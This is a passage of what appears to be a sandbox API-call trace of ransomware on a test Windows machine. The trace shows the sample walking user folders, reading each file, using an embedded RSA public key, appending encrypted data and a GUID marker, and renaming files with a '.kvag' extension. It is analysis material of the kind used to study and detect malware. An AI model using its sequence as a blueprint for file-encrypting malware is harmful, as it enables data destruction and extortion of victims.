KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.737] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.738] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.738] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.738] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.738] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.738] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.738] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.739] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.739] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.739] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.739] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.739] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.739] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.739] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.739] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.739] CloseHandle (hObject=0x61c) returned 1 [0120.740] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.kvag")) returned 1 [0120.741] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0120.741] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.741] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.742] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\") returned="JMb5K DyX7\\" [0120.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0120.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.742] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.742] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.742] PathFindFileNameW (pszPath="") returned="" [0120.742] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f3f940, ftCreationTime.dwHighDateTime=0x1d4cd73, ftLastAccessTime.dwLowDateTime=0x9b3a2170, ftLastAccessTime.dwHighDateTime=0x1d4cde5, ftLastWriteTime.dwLowDateTime=0x9b3a2170, ftLastWriteTime.dwHighDateTime=0x1d4cde5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.743] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f3f940, ftCreationTime.dwHighDateTime=0x1d4cd73, ftLastAccessTime.dwLowDateTime=0x9b3a2170, ftLastAccessTime.dwHighDateTime=0x1d4cde5, ftLastWriteTime.dwLowDateTime=0x9b3a2170, ftLastWriteTime.dwHighDateTime=0x1d4cde5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.743] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56379fb0, ftCreationTime.dwHighDateTime=0x1d4d03f, ftLastAccessTime.dwLowDateTime=0xea81ea50, ftLastAccessTime.dwHighDateTime=0x1d4c8dc, ftLastWriteTime.dwLowDateTime=0xea81ea50, ftLastWriteTime.dwHighDateTime=0x1d4c8dc, nFileSizeHigh=0x0, nFileSizeLow=0xee22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-oCX.m4a", cAlternateFileName="")) returned 1 [0120.743] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\-oCX.m4a") returned=".m4a" [0120.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\-oCX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\-ocx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.743] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=60962) returned 1 [0120.743] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.745] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xedfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.745] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.747] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xee22, lpOverlapped=0x0) returned 1 [0120.748] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.748] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.748] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.748] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.749] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.749] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.749] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.749] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.749] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.749] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.749] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.749] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.749] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.749] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.750] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xee22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.750] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.750] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.750] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.750] CloseHandle (hObject=0x61c) returned 1 [0120.751] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\-oCX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\-ocx.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\-oCX.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\-ocx.m4a.kvag")) returned 1 [0120.752] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd56a0, ftCreationTime.dwHighDateTime=0x1d4c920, ftLastAccessTime.dwLowDateTime=0x418d0240, ftLastAccessTime.dwHighDateTime=0x1d4d41c, ftLastWriteTime.dwLowDateTime=0x418d0240, ftLastWriteTime.dwHighDateTime=0x1d4d41c, nFileSizeHigh=0x0, nFileSizeLow=0xb22e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2mCixPQ C.mp3", cAlternateFileName="2MCIXP~1.MP3")) returned 1 [0120.752] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\2mCixPQ C.mp3") returned=".mp3" [0120.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\2mCixPQ C.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\2mcixpq c.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.753] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=45614) returned 1 [0120.753] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.755] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb208, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.755] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.757] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xb22e, lpOverlapped=0x0) returned 1 [0120.757] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.757] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.757] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.757] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.758] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.758] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.758] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.758] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.758] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.758] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.758] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.758] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.759] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.759] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.759] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.759] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.759] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.759] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.759] CloseHandle (hObject=0x61c) returned 1 [0120.760] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\2mCixPQ C.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\2mcixpq c.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\2mCixPQ C.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\2mcixpq c.mp3.kvag")) returned 1 [0120.762] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea959820, ftCreationTime.dwHighDateTime=0x1d4c986, ftLastAccessTime.dwLowDateTime=0x11c3a790, ftLastAccessTime.dwHighDateTime=0x1d4c7ff, ftLastWriteTime.dwLowDateTime=0x11c3a790, ftLastWriteTime.dwHighDateTime=0x1d4c7ff, nFileSizeHigh=0x0, nFileSizeLow=0xee9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4IqXBq8-5-MGXyBDR.wav", cAlternateFileName="4IQXBQ~1.WAV")) returned 1 [0120.762] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\4IqXBq8-5-MGXyBDR.wav") returned=".wav" [0120.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\4IqXBq8-5-MGXyBDR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\4iqxbq8-5-mgxybdr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.762] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=61085) returned 1 [0120.762] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.764] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xee77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.764] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.766] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xee9d, lpOverlapped=0x0) returned 1 [0120.766] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.766] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.766] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.766] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.767] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.767] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.767] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.767] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.767] CryptDestroyHash 